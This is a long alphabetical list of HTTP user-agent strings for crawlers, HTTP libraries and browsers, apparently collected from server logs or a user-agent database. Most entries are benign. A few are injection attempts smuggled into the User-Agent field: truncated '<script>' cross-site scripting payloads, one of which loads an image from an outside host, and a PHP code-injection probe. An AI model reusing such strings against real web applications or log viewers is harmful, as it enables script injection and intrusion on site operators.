Googlebot/2.X (http://www.googlebot.com/bot.html) Googlebot/2.X (http://www.googlebot.com/bot.html; MSIE 8.0; ; Trident/4.0) Googlebot/2.X larbin2.6.3@unspecified.mail Googlebot/3.0 Googlebot/3.0 Beta (+http://www.googlebot.com/bot.html) Googlebot/6.5 (+http://www.googlebot.com/bot.html) Googlebot/Nutch-1.0 googlebot@googlebot.com Googlebot2.1 Googlebot2.1 (+httpwww.googlebot.combot.html) GooglebotJZ.1 (+http:.//www.googlebot.com/bot.html) Googlebots googlepages/Nutch-0.9 (googlepages; http://www.googlepages.com; info@googlepages.com) GoogleProject1/0.1 powered by http://superfrink.net/ GoogleProjectTwo/0.1 powered by http://superfrink.net/ GoogleReport Search Engine - http://www.googlereport.org Googoebot/2.1 Gorila.ro crawler GoScraper Gran PC 5.1 GrandReporterUpdater1.0 CFNetwork/438.12 Darwin/9.7.0 (i386) (MacBookPro4%2C1) GranExplorer 1.0 (compatible; MSIE6.0; Windows NT 5.1) by Gran PC Software Grani/4.1 Grani/4.2 Grani/4.3 grbot great-plains-web-spider/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; ... great-plains-web-spider/gpws (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; jason@f... gridwell (http://search.gridwell.com) grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org) Grub/2.0 (Grub.org crawler; http://www.grub.org/; bot@grub.org) Grub/2.0 (IOI crawler; http://index.isc.org/; crawl@index.isc.org) GrubNG 0.1 (http://grub.org) gsa-crawler gsa-crawler (Enterprise; [code]; gsa-admin@test.com) gsa-crawler (Enterprise; GID-01422; jplastiras@google.com) gsa-crawler (Enterprise; GIX-03519;) gsa-crawler (Enterprise; GIX-04637; rex_li@trend.com.tw) gsa-crawler (Enterprise; M2-AQEYHKEBVC2AB; eric@mobitv.com,mohamed@mobitv.com) gsa-crawler (Enterprise; S4-E9LJ2B82FJJAA; some@company.com) gsa-crawler (Enterprise; S5-EVJT7EMTU8NAB; networkadmin@figleaf.com) gsa-crawler (Enterprise; S5-JE6K2P2TH8JAA; webmaster@oucs.ox.ac.uk) GSiteCrawler/NB GSiteCrawler/v1.20 rev. 273 (http://gsitecrawler.com/) GSiteCrawler/v1.23 rev. 286 (http://gsitecrawler.com/) GT::WWW/1.026 Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot) Gungator GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html) GurujiBot/1.0 (+http://www.guruji.com/WebmasterFAQ.html) GVC WEB crawler ( +http://www.search.gvcbot.com/add-url.htm) GVC CONTRACTOR SPIDER (+http://www.search.gvcbot.com) [ZSEBOT] GVC IT SPIDER (+http://www.search.gvcbot.com) [ZSEBOT] GVC SEARCH SPIDER (+http://www.search.gvcbot.com) [ZSEBOT] GVC SEARCH SPIDER (+http://www.search.gvcbot.com/add-url.htm) [ZSEBOT] GVC WEB crawler (+http://www.globalvisioncommunication.com) GVC WEB crawler (+http://www.globalvisioncommunication.com/) GVC Web crawler (+http://www.globalvisioncommunication.com/directory/MAIN.htm) GVC WEB crawler (+http://www.search.gvcbot.com/add-url.htm) GVC Weblink crawler (+http://www.globalvisioncommunication.com/directory/MAIN.htm) GVC WORLD SPIDER (+http://www.globalvisioncommunication.com) [ZSEBOT] GVC-GLOBAL-SPIDER (+http://www.globalvisioncommunication.com) [ZSEBOT] GVC-SEARCH-BOT (+http://www.globalvisioncommunication.com) GVC-SEARCH-BOT (+http://www.search.gvcbot.com) [ZSEBOT] GVC-SEARCH-SPIDER (+http://www.search.gvcbot.com/add-url.htm) [ZSEBOT] gvfs/0.2.5 gvfs/1.0.2 gvfs/1.2.2 gvfs/1.6.1 gvfs/1.6.4 Gwadlup.com Web Client GYRO crawler h4x0r/9.20 (Windows NT 6.0; U; en) HackBot/93.6 (+NExTliFE(A.K.A Gord Hacks) Updates Come Usual, HACK BOT DoSING SITE!) Hackzilla/0.8.15 (Hackits 0.8.15; U; neXt Systems; en-GB; rv:0.8.1.5) spammo/20060508 Hackitfox/1.5.0.4 Haiku/0.2.1.93 (compatible) filecache hakiaBot/2.1 (vS) HAL 9000; Cyberdyn X3; T1000 autonomous Hampsters Bumhole HanRSS/1.1 (http://www.hanrss.com) Hapax Newscrawler/1.0.9 Hape-jadul Safari/528.16 (iPhone; U; CPU iPhone OS 3.0 like Mac OS X; en-us; compatible; Googlebot/2.1; http://www.googl... Hatena Bookmark/0.1 Hatena::Crawler/0.01 Hatena2::RemoteDocument/0.02 HatenaScreenshot (compatible; MSIE 6.0; Windows NT 5.1; SV1) HatenaScreenshot/1.0 (checker) hbtronix.spider.1 -- http://hbtronix.de/spider.php hclsreport-crawler (+http://hclsreport.com/ healia/Nutch-0.9 (the personalized health search engine.; http://www.healia.com; mikes@healia.com) Healthbot/Health_and_Longevity_Project_(HealthHaven.com) heartland A19F2B69-28D6-11DC-BCA0-00304852B7B8 Heeii backend ng 1.0 Java/1.5.0_14 Heeii backend ng 1.0 Java/1.6.0_03 Heeii backend ng 1.0 Java/1.6.0_07 HEEII-BE/2.0 Java/1.5.0_14 Heeii/0.3.2 Heeii/3.0.1 heeii/LiveNode heeii/LiveNode Java/1.5.0_10 Heeii/Nutch-0.8.1 (Heeii; www.heeii.com; info@heeii.com) Heeii/Nutch-0.9 (Heeii; www.heeii.com; info@heeii.com) heeii/Nuts Java/1.5.0_10 heeii/Nuts Java/1.5.0_14 heeii/Nuts Java/1.6.0 Heilbut HenryTheMiragoRobot (http://www.miragorobot.com/scripts/mrinfo.asp) HiPPiE (10965 Berlin) hitcrawler_0.1 ringken@gmail.com hl_ftien_spider hl_ftien_spider/1.1(compatible; MSIE 5.00; Windows 98) hl_ftien_spider_v1.1 HMSE_Robot HMSEbot holmes/3.10 (http://morfeo.centrum.cz/bot) holmes/3.10.1 (OnetSzukaj/5.0; +http://szukaj.onet.pl) holmes/3.11 (http://morfeo.centrum.cz/bot) holmes/3.11 (OnetSzukaj/5.0; +http://szukaj.onet.pl) holmes/3.12 (http://morfeo.centrum.cz/bot) holmes/3.12 (OnetSzukaj/5.0; +http://szukaj.onet.pl) holmes/3.12.1 (http://morfeo.centrum.cz/bot) holmes/3.12.2 (http://morfeo.centrum.cz/bot) holmes/3.12.3 (http://morfeo.centrum.cz/bot) holmes/3.12.4 (http://morfeo.centrum.cz/bot) holmes/3.9 (OnetSzukaj/5.0; +http://szukaj.onet.pl) HolmesBot (http://holmes.ge) Horny Sex Search/Nutch-0.9 (HornySexSearch.com Crawler; http://www.hornysexsearch.com; Contact HornySexSearch.com) Hostcrawler 0.1 (+http://contact.eweb.ws) HotJava/1.0.1/JRE1.1.x HotJava/1.1.2 FCS HouxouCrawler/Nutch-0.8.2-dev (houxou.com's nutch-based crawler which serves special interest on-line communities; http:... HouxouCrawler/Nutch-0.9 (houxou.com's nutch-based crawler which serves special interest on-line communities; http://www.... HPI FeedCrawler/0.1 (+http://www.hpi.uni-potsdam.de/meinel/bross/feedcrawler) HPL/Nutch-0.9 hs-HTTP-4000.0.9 HTC-8100/1.2 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) UP.Link/6.3.0.0.0 HTC-P4600/1.2 Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0 htdig/3.1.6 (johann@johannburkard.de) HTML2JPG Blackbox, http://www.html2jpg.com HTMLParser/1.41 HTMLParser/1.42 HTMLParser/1.5 HTMLParser/1.6 HTMLParser/1.6 AppEngine-Google; (+http://code.google.com/appengine; appid: ilvenle) htmlSQL/0.5 HTTP Client HTTP Retriever HTTP Spider/0.9 http://crawler.spidergrid.net/1.0.5beta; http://gridgroup.de / http://narres.it/) http://domino.research.ibm.com/comm/research_projects.nsf/pages/sai-crawler.callingcard.html http://googlebot.com/bot.html http://hilfe.acont.de/bot.html ACONTBOT http://synergysecurity.net/spider.html http://ubercrawler.com 1.69 http://www.die-ferienwohnung-in-koeln.de/lintorfer.php libwww-perl/5.831 http://www.die-ferienwohnungen-in-koeln.de/aktuelles.php libwww-perl/5.831 http://www.google.com/"><script>a='%67%6f%6f%67%6c%65%5f%61%64%5f%63%6c%69%65%6e%74%3d%27%... http://www.google.com/bot.html http://www.google.com/bot.html) http://www.google.sw/search?as_q=super+angebote http://www.googlebot.com/bot.html http://www.sjc0.tdmsic.org [sjc0] (Red Hat, sys) http://www.useragentstring.com/Googlebot2.1_id_71.php; http:/googlebot.com/bot.html http:/www.googlebot.com/bot.html HTTP::Lite/2.1.6 HTTP_CLIENT: QuickMarkClient HTTP_Controller Ver2.0.0 http_get http_load 29jun2005 HTTP_Request2/0.5.1 (http://pear.php.net/package/http_request2) PHP/5.2.12 HTTP_Request2/0.5.1 (http://pear.php.net/package/http_request2) PHP/5.3.2 HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.3.2 HttpClient HttpClient HttpComponents/1.1 HTTPConnect HTTPGrab httpunit/1.5 httpunit/1.x HTTrack Website Copier/3.0x (offline browser; web mirror utility) Huasai/1.0 HuaweiSymantec spider (compatible; MSIE 8.0; wangdanfeng@huaweisymantec.com) Huaweisymantecspider (compatible; MSIE 8.0; DSE-support@huaweisymantec.com) Huaweisymantecspider (compatible; MSIE 8.0; wangdanfeng@huaweisymantec.com) HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0... HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0... hunter/Nutch-0.8.1 HyperEstraier/1.4.13 HyperImage/3.0 CFNetwork/454.9.8 Darwin/10.4.0 (i386) (MacBook5%2C1) i cant belive that, you are mesribale (compatible; Googlebot/2.1; +http://www.google.com/bot.html) i1searchbot/2.0 (i1search web crawler; http://www.i1search.com; crawler@i1search.com) ia_archiver ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com) ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)/PHP-proxy [phpdown Ver. 2.2.6] ia_archiver-web.archive.org ia_archiver/1.0 (Windows 2000 1.2; ) ia_archiver/1.1 (Windows XP 6.1; ) ia_archiver/1.3 (Windows XP 4.1; ) ia_archiver/1.4 (Windows NT 4.1; ) ia_archiver/1.5 (Windows 6.2; ) ia_archiver/1.7 (Windows 2000 6.7; ) ia_archiver/1.9 (Windows NT 3.4; ) ia_archiver/2.4 (Windows 5.7; ) ia_archiver/2.4 (Windows NT 3.4; ) ia_archiver/3.4 (OSX 1.8; ) ia_archiver/3.4 (Windows 1.4; ) ia_archiver/4.1 (Windows NT 2.1; ) ia_archiver/4.3 (Windows 2000 2.0; ) ia_archiver/4.3 (Windows NT 3.5; ) ia_archiver/4.3 (Windows NT 6.0; ) ia_archiver/4.6 (Windows NT 3.5; ) ia_archiver/4.6 (Windows NT 6.3; ) ia_archiver/4.9 (OSX 5.4; ) ia_archiver/4.9 (Windows 2000 5.8; ) ia_archiver/4.9 (Windows XP 1.8; en-US;) ia_archiver/5.6 (Windows NT 5.0; ) ia_archiver/5.8 (Windows XP 1.3; ) ia_archiver/6.0 (Linux 1.9; ) ia_archiver/6.2 (Windows XP 3.4; ) ia_archiver/6.2 (Windows XP 7.9; ) ia_archiver/6.4 (Windows 3.3; ) ia_archiver/6.7 (OSX 1.8; ) ia_archiver/6.9 (Windows 2000 3.3; ) ia_archiver/7.6 (Linux 7.4; ) ia_archiver/8.1 (Windows NT 1.5; ) ia_archiver/8.3 (Linux 3.7; ) ia_archiver/8.3 (OSX 4.6; ) ia_archiver/8.9 (Windows XP 7.4; ) iamdebugger FirePHP/0.2.1 iaskspider/2.0(+http://iask.com/help/help_index.html) IBM.Orange.Web.Filter/on.citrix.output (sjc0.tdmsic.org - Red Hat) IBM.Orange.Web.Filter/on.citrix.output (tdmsic.org - Red Hat) ICC-Crawler(Mozilla-compatible; ; http://kc.nict.go.jp/project1/crawl.html) ICC-Crawler(Mozilla-compatible; http://ameblo.jp/star-emily/theme-10030867205.html ) ICC-Crawler(Mozilla-compatible; http://kc.nict.go.jp/icc/crawl.html; icc-crawl(at)ml(dot)nict(dot)go(dot)jp) ICC-Crawler(Mozilla-compatible; http://kc.nict.go.jp/icc/crawl.html; icc-crawl-contact(at)ml(dot)nict(dot)go(dot)jp) ICC-Crawler/2.0 (Mozilla-compatible; ; http://kc.nict.go.jp/project1/crawl.html) iCCrawler (http://www.iccenter.net) iCCrawler (http://www.iccenter.net/bot.htm) ICCrawler - ICjobs (http://www.icjobs.de/bot.htm) Iceweasel2.0.0.16/Nutch-1.0 (Webbrowser; http://iceweasel.com; info@iceweasel.com) Iceweasel2.0.0.16/Nutch-1.1 (Webbrowser; http://iceweasel.com; info@iceweasel.com) ichiro/1.0 (ichiro@nttr.co.jp) ichiro/2.0 (http://help.goo.ne.jp/door/crawler.html) ichiro/2.0 (ichiro@nttr.co.jp) ichiro/2.0+(http://help.goo.ne.jp/door/crawler.html) ichiro/3.0 (http://help.goo.ne.jp/door/crawler.html) ichiro/4.0 (http://help.goo.ne.jp/door/crawler.html) ichiro/5.0 (http://help.goo.ne.jp/door/crawler.html) ICjobs (http://www.icjobs.de/bot.htm) Icon Grabber - Setup icon_download iCopyright Conductor 1.0 IDScode-BOT/1.4 http://www.idscode.pl Hello ! IEAutoDiscovery iexplore IIITBOT/1.1 (Indian Language Web Search Engine; http://webkhoj.iiit.net; pvvpr at iiit dot ac dot in) iisbot/1.0 (+http://www.iis.net/iisbot.html) IIT Bombay CFILT NLP Bot/Nutch-1.1 (IITB CFILT Crawler) IITB-CFILT-Bot/Nutch-1.1 (This is the crawler of IIT Bombay, India. The data will be used for research purposes.; http:/... ilial/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company. For more information please visit http://w... ilial/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company.; http://www.ilial.com/crawler; crawl@ilial... ilial/Nutch-0.9-dev IlseBot/1.0 IlseBot/1.1 IlTrovatore-Setaccio/1.2 (It search engine; http://www.iltrovatore.it/bot.html; bot@iltrovatore.it) IlTrovatore-Setaccio/1.2 (It-bot;compatible;MSIE 6.0;Mozilla/4.0; http://www.iltrovatore.it/bot.html; bot@iltrovatore.it... IlTrovatore/1.2 (IlTrovatore; http://www.iltrovatore.it/bot.html; bot@iltrovatore.it) IM/0.1 libwww-perl/5.825 Image Collector V1.1 Image/0.2.1.93 (compatible) filecache InAGist URL Resolver (http://inagist.com) inagist.com url crawler Inar_spider tspyyp@tom.com Indexer1063 inet library InetURL:/1.0 InetURL:/1.0;afcid=W6e19ed016dedc5cb43e7fa516dce24a0 Infinity/0.02 [shastye] (Win67; X; SK; ) Influencebot/0.9; (Automatic classification of websites; http://www.influencebox.com/; info@influencebox.com) Infoaxe./Nutch-0.9 Infoaxe./Nutch-1.0 Inktomi Slurp Yahoo innovantagebot/1.0 (http://www.innovantage.co.uk/technology/webmaster_information.htm) Internet Explorer 7<script>document.write("<img src=\"http://members.lycos.nl/ops... Internet Ninja 5.0 Internet Ninja 6.0 INTERNET RADIO crawler ( +http://www.radio.gvcbot.com:83 ) InternetArchive/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) InternetDevels/1.00.A InternetSupervision (http://internetsupervision.com/urlmonitor/3) intumit/Nutch-1.1 IOI/2.0 (ISC Open Index crawler; http://index.isc.org/; bot@index.isc.org) IPWorks! V5 HTTP/S Component - by /n software - www.nsoftware.com ip2 larbin2.6.3@unspecified.mail IP2LocationBot/1.00 <a href="http://www.ip2location.com">http://www.ip2location.com&... IP2MapBot/1.3 <a href=http://www.ip2map.com>http://www.ip2map.com</a> IP2PhraseBot/1.0 <a href="http://www.ip2phrase.com">http://www.ip2phrase.com</a&a... IPAddressGuideBot/1.0 <a href="http://www.ipaddressguide.com">http://www.ipaddressguide.... IPAddressGuideBot/1.0 <a href="http://www.ipaddressguide.com.com">http://ww IPAddressGuideBot/1.0 <a href="http://www.ipaddressguide.com.com">http://www.ipaddressgu... IPAddressGuideBot/1.1 <a href="http://www.ipaddressguide.com">http://www.ipaddressguide.... IPAddressGuideBot/1.1 <a href="http://www.ipaddressguide.com">http://www.ipaddressguide.... iPhone - danish.startup.filter (sjc0.tdmsic.org - Red Hat) IPOD - danish.startup.filter (sjc0.tdmsic.org - Red Hat) IRLbot/2.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler) IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler) IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler/) IRP_edu_bot/Nutch-0.9 IrssiUrlLog/0.2 IS Alpha/Nutch-1.0 Isara/Isara-1.0 (A non-profit search engine for the benefit of charity.; http://www.isara.org; search@isara.org) ISC Systems iRc Search 2.1 iSearch/2.24 iSEEKbot/iSEEKbot-0.9-dev (http://beta.iseek.com/iseekbot.html; bot at iseek dot com) Isidorus/2.0 (Isidorus; http://www.isidorus.com; crawler@isidorus.com) iSpider/1.0 Its Me Dave iVia Downloader iVia Page Fetcher (http://ivia.ucr.edu/useragents.shtml) IxHTTP_Get/3.2.3 (OS/2) j13mbut<?echo time(); ?>j13mbut J2ME J2ME/UCWEB7.0.3.45/139/1002 jabubo.com crawler 1.0 (http://www.jabubo.com - crwaling for meta-generator) JadynAve - http://www.jadynave.com/robot jak1471 Jakarta Commons-HttpClient/2.0.1 Jakarta Commons-HttpClient/2.0xxx Jakarta Commons-HttpClient/3.0 Jakarta Commons-HttpClient/3.0-rc1 Jakarta Commons-HttpClient/3.0-rc4 Jakarta Commons-HttpClient/3.0-rcx Jakarta Commons-HttpClient/3.0.1 Jakarta Commons-HttpClient/3.1 Jakarta Commons-HttpClient/3.1-rc1 Jambot/0.1.1 (Jambot; http://www.jambot.com/blog; crawler@jambot.com) Java 1.5 / IBM HTML Commons Java(TM) 2 Runtime Environment, Standard Edition Java/1.4.1 Java/1.4.1_01 Java/1.4.1_04 Java/1.4.1_07 Java/1.4.2 Java/1.4.2_01 Java/1.4.2_02 Java/1.4.2_03 Java/1.4.2_04 Java/1.4.2_05 Java/1.4.2_06 Java/1.4.2_07 Java/1.4.2_08 Java/1.4.2_09 Java/1.4.2_10 Java/1.4.2_11 Java/1.4.2_12 Java/1.4.2_13 Java/1.4.2_16 Java/1.4.2_18 Java/1.4.2_19 Java/1.5.0 Java/1.5.0-p3 Java/1.5.0_01 Java/1.5.0_02 Java/1.5.0_03 Java/1.5.0_04 Java/1.5.0_05 Java/1.5.0_06 Java/1.5.0_07 Java/1.5.0_08 Java/1.5.0_09 Java/1.5.0_10 Java/1.5.0_11 Java/1.5.0_12 Java/1.5.0_13 Java/1.5.0_14 Java/1.5.0_15 Java/1.5.0_16 Java/1.5.0_17 Java/1.5.0_18 Java/1.5.0_19 Java/1.5.0_20 Java/1.5.0_21 Java/1.5.0_22 Java/1.6.0 Java/1.6.0-beta Java/1.6.0-beta2 Java/1.6.0-dp Java/1.6.0-oem Java/1.6.0-rc Java/1.6.0_0 Java/1.6.0_01 Java/1.6.0_01-ea Java/1.6.0_02 Java/1.6.0_03 Java/1.6.0_04 Java/1.6.0_05 Java/1.6.0_05-ea Java/1.6.0_06 Java/1.6.0_07 Java/1.6.0_10 Java/1.6.0_10-beta Java/1.6.0_10-rc Java/1.6.0_10-rc2 Java/1.6.0_11 Java/1.6.0_12 Java/1.6.0_13 Java/1.6.0_14 Java/1.6.0_15 Java/1.6.0_16 Java/1.6.0_17 Java/1.6.0_18 Java/1.6.0_19 Java/1.6.0_20 Java/1.6.0_20-ea Java/1.6.0_21 Java/1.6.0_22 Java/1.6.0_23 Java/1.6.0_24 Java/1.7.0 Java/R100Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en] Java1.0.21.0 Java1.1.8 Java1.2.2 Java1.3.0 Java1.3.1 Java1.3.1_01 Java1.3.1_07 Java1.3.1_18 Java1.4.0 Java1.4.0_01 JavaPlatForm javascript:(function()%7Bfunction%20I(u)%7Bvar%20t=u.split('.'),e=t%5Bt.length-1%5D.toLowerCase();return%20%7Bgif:1,jpg:... javascript:void(setUserAgent('bwh3_user_agent')); javascript:void(setUserAgent('Googlebot/2.1+(+http://www.google.com/bot.html)')); Jaxified Bot (+http://www.jaxified.com/) Jaxified Bot (+http://www.jaxified.com/crawler/) Jaxified Crawler 1.0a (+http://www.jaxified.com/) Jaxified RSS Check Bot (+http://www.jaxified.com/) Jayde crawler Jayde Crawler. http://www.jayde.com Jbed Profile/MIDP-2.0 Configuration/CLDC-1.1 UNTRUSTED/1.0 JEDI-VCL JetBrains Omea Reader 1.0.x (http://www.jetbrains.com/omea_reader/) JetBrains Omea Reader 2.0 Release Candidate 1 (http://www.jetbrains.com/omea_reader/) JetBrains Omea Reader 2.2 (http://www.jetbrains.com/omea/reader/) Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0 JNLP/6.0 javaws/1.6.0_14 (b08) Java/1.6.0_14 JNLP/6.0 javaws/1.6.0_15 (b03) Java/1.6.0_15 JNLP/6.0 javaws/1.6.0_21 (b07) Java/1.6.0_21 JoBo/@JOBO_VERSION@(http://www.matuschek.net/jobo.html) JoBo/1.x (http://www.matuschek.net/jobo.html) JOC Web Spider Jomjaibot/1.0 Crawl ( http://www.jomrank.com/ ) Jomjaibot/1.0 Crawl (+http://www.jomjaibot.com/) Jomjaibot/1.0 Crawl (http://www.jomrank.com/, http://www.thaiwebdb.com) jrCrawler/1.0b JS-Kit URL Resolver, http://js-kit.com/ JSearched Sniffer JuicyBits_Indexer_0.02 JuicyBits_Search_0.04 jupiter/Nutch-1.2 Juuhbot/2.1 (+http://www.juuh.com/Bot) Jyxobot/1 K-Meleon/0.6 (Windows; U; Windows NT 5.1; en-US; rv:0.9.5) Gecko/20011011 kahoona[Bot]/2.0+(compatible;+Mozilla+4.0;+MSIE+5.5;+http://kahoona.mylivepage.com/) kakle-spider/0.1 (kakle-spider; http://www.kakle.com/bot.html; support@kakle.com) KakleBot - www.kakle.com/0.1 (KakleBot - www.kakle.com; http://www.kakle.com/bot.html; support@kakle.com) kalooga/kalooga-3.4-datahouse (Kalooga; http://www.kalooga.com; info@kalooga.com) kalooga/kalooga-4.0-dev-datahouse (Kalooga; http://www.kalooga.com; info@kalooga.com) kalooga/KaloogaBot (Kalooga; http://www.kalooga.com/info.html?page=crawler) kalooga/KaloogaBot (Kalooga; http://www.kalooga.com/info.html?page=crawler; crawler@kalooga.com) kalooga/KaloogaBot (Kalooga; http://www.kalooga.com; info@kalooga.com) Kazehakase/0.4.3 KBeeBot/0.5 Robot KDDI-CA33 UP.Browser/6.2.0.10.4 (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.ht... KDDI-CA33 UP.Browser/6.2.0.10.4 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html) KDDI-SA31 UP.Browser/6.2.0.7.3.129 (GUI) MMP/2.0 (compatible;KDDI-Googlebot-Mobile/2.1; +http://www.google.com/bot.html) Keep Out. Keyword Analyzer 0.6.2 (www.keywordle.com) Keyword Density Analyzer v1.01 ( http://www.ranks.nl/tools/spider.html ) KIKILbot/beta (www.kikil.com) kindsight/Nutch-1.0 (kscrawler; www.projectrialto.com; crawler@projectrialto.com) KIT webcrawler/0.2.4 kmccrew Bot Search Knight/0.2 (Zook Knight; http://knight.zook.in/; knight@zook.in) KnowItAll(knowitall@cs.washington.edu) KnowItAll/Nutch-0.9 (Nutch-UW-Crawler; http://cs.washington.edu/homes/mjc/crawler.html; uwcrawler08@gmail.com) kooba Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 KRetrieve/1.1/dbsearchexpert.com Krugle/Krugle,Nutch/0.8+ (Krugle web crawler; http://corp.krugle.com/crawler/info.html; webcrawler@krugle.com) Krugle/Krugle,Nutch/0.8+ (Krugle web crawler; http://www.krugle.com/crawler/info.html; webcrawler@krugle.com) KS Crawler/Nutch-1.0 (http://www.kindsight.net/kscrawler; crawler@kindsight.net) KS Spider/Nutch-0.9 KSCrawler/Nutch-1.0 (http://www.kindsight.net/en/kscrawler; crawler@kindsight.net) ksibot/8.0d (+http://ego.ms.mff.cuni.cz/) Kupengpat 2.7 (http://kupengpat.wapath.com) L.webis/0.44 (http://webalgo.iit.cnr.it/index.php?pg=lwebis) L.webis/0.50 (http://webalgo.iit.cnr.it/index.php?pg=lwebis) lanshanbot/1.0 (+http://search.msn.com/msnbot.htm) LapozzBot/1.4 (+http://robot.lapozz.com) LapozzBot/1.4 (+http://robot.lapozz.hu) LapozzBot/1.5 (+http://robot.lapozz.hu) lar larbin2.6.3@unspecified.mail larbin-m larbin@magellan.cc larbin_2.6.3 larbin_2.6.3 (larbin2.6.3@unspecified.mail) larbin_2.6.3 atat@cs.bilkent.edu.tr larbin_2.6.3 gqnmgsp@ruc.edu.cn larbin_2.6.3 larbin2.6.3@unspecified.mail larbin_2.6.3 myemail@address.co.uk larbin_2.6.3 wgao@genieknows.com larbin_xy250 larbin2.6.3@unspecified.mail LarbinWebCrawler (spider@download11.com) LarbinWebCrawler spider@download11.com LargeSmall Crawler Layar/1.1 LBot ldspider (http://code.google.com/p/ldspider/wiki/Robots) LeechGet 2006 (www.leechget.net) Lernsite Special Agent II LetsCrawl.com/1.0 +http://letscrawl.com/ LexxeBot/1.0 (lexxebot@lexxe.com) LGE-VX8100/1.0 UP.Browser/6.2.3.2 (GUI) MMP/2.0 li_viewer larbin2.6.3@unspecified.mail libcurl libcurl-agent/1.0 libcurl/7.19.7 OpenSSL/0.9.8l zlib/1.2.3 libghttp/1.0 librabot librabot/1.0 (+http://search.msn.com/msnbot.htm) librabot/2.0 (+http://academic.research.microsoft.com/) libsoup/2.26.0 libsoup/2.26.2 libwww-perl libwww-perl/5.36 libwww-perl/5.45 libwww-perl/5.50 libwww-perl/5.53 libwww-perl/5.5394 libwww-perl/5.63 libwww-perl/5.65 libwww-perl/5.68 libwww-perl/5.69 libwww-perl/5.75 libwww-perl/5.76 libwww-perl/5.801 libwww-perl/5.802 libwww-perl/5.803 libwww-perl/5.805 libwww-perl/5.806 libwww-perl/5.808 libwww-perl/5.810 libwww-perl/5.811 libwww-perl/5.812 libwww-perl/5.813 libwww-perl/5.814 libwww-perl/5.816 libwww-perl/5.817 libwww-perl/5.818 libwww-perl/5.819 libwww-perl/5.820 libwww-perl/5.822 libwww-perl/5.823 libwww-perl/5.825 libwww-perl/5.826 libwww-perl/5.828 libwww-perl/5.829 libwww-perl/5.830 libwww-perl/5.831 libwww-perl/5.832 libwww-perl/5.833 libwww-perl/5.834 libwww-perl/5.836 libwww-perl/5.837 libwww-perl/6.01 LII-Cello/1.0 libwww/2.5 LijitSpider/Nutch-0.9 (Reports crawler; http://www.lijit.com/; info(a)lijit(d)com) LijitSpider/Nutch-0.9 (Reports crawler; http://www.lijit.com/robot/crawler; info(a)lijit(d)com) LikelyFlow (http://likelyflow.com/) LIMEWIRE - the p2p.client (sjc0.tdmsic.org - Red Hat) Linguee Bot (bot@linguee.com) Linguee Bot (http://www.linguee.com/bot) Linguee Bot (http://www.linguee.com/bot; bot@linguee.com) linguee bot (http://www.linguee.TEst Link Checker LINK TRADE crawler ( +http://www.search.gvcbot.com/ ) Link Valet Online 1.1 Link Valet Online 1.2 link_checker/1.1 linkaGoGo domain crawler (http://www.linkagogo.com/) Java/1.6.0_03 linkaGoGo domain crawler (http://www.linkagogo.com/) Java/1.6.0_07 LinkAider LinkAider (http://linkaider.com/crawler/) LinkChecker/5.1 (+http://linkchecker.sourceforge.net/) linkdex.com/v2.0 linkdexbot/Nutch-1.0-dev (http://www.linkdex.com/; crawl at linkdex dot com) LinkedIn share follower Harmen Timmer LinkedInBot/1.0 (compatible; Mozilla/5.0; Jakarta Commons-HttpClient/3.1 +http://www.linkedin.com) LinkedInBot/1.0 (compatible; Mozilla/5.0; Jakarta Commons-HttpClient/3.1 +http://www.linkedin.com) LinkExaminer/1.01 (Windows) LinkParser/2.0 Links SQL (http://gossamer-threads.com/scripts/links-sql/) LinkSiteMaker/1.0 (+http://www.sasfead.com) LinksManager.com (http://linksmanager.com/linkchecker.html) LinkSweeper/1.1 LinkWalker LinkWalker/2.0 Linux linux null Linux Red Hat Enterprise; tdmsicDOTorg/ceeerffffffff - (http://www.tdmsic.org) LinxChequer/1.0 Lisboa/Nutch-1.2 Lite-Nav/1.01 ( <a href="http://gashnark.com/">http://gashnark.com</a> ) Lite-Nav/1.02 ( <a href="http://gashnark.com/">http://gashnark.com</a> ) livwww-perl/5.808 ljt_ignoreme:14998 llssbot/1.0(+http://labs.live.com;llssbot@microsoft.com) LMQueueBot/0.2 lmspider/Nutch-0.9-dev (For research purposes.; www.nuance.com; lmspider@nuance.com) LocalcomBot/1.2 (+http://www.local.com/bot.htm) LocalcomBot/1.2.2 (+http://www.local.com/bot.htm) LocalcomBot/1.3.0 (+http://www.local.com/bot.htm) LocalcomBot/1.4.0 (+http://www.local.com/bot.htm) locallytargetbot/locallybotV2 (locallybotV2; http://www.locallytarget.com; bot@locallytarget.com) LongURL API LookUpCrawler - lookupcanada.ca [ZSEBOT] Loserbot/1.0 Lovel as 1.0 ( +http://www.everatom.com) LPbot/Nutch-1.1 Lsearch/sondeur LTH Browser 3.02a (compatible; mozilla ; Windows NT 5.1; SV1; http://www.learntohack.nil; .NET CLR 1.1.4322; http://www.... LTH Browser 3.02a 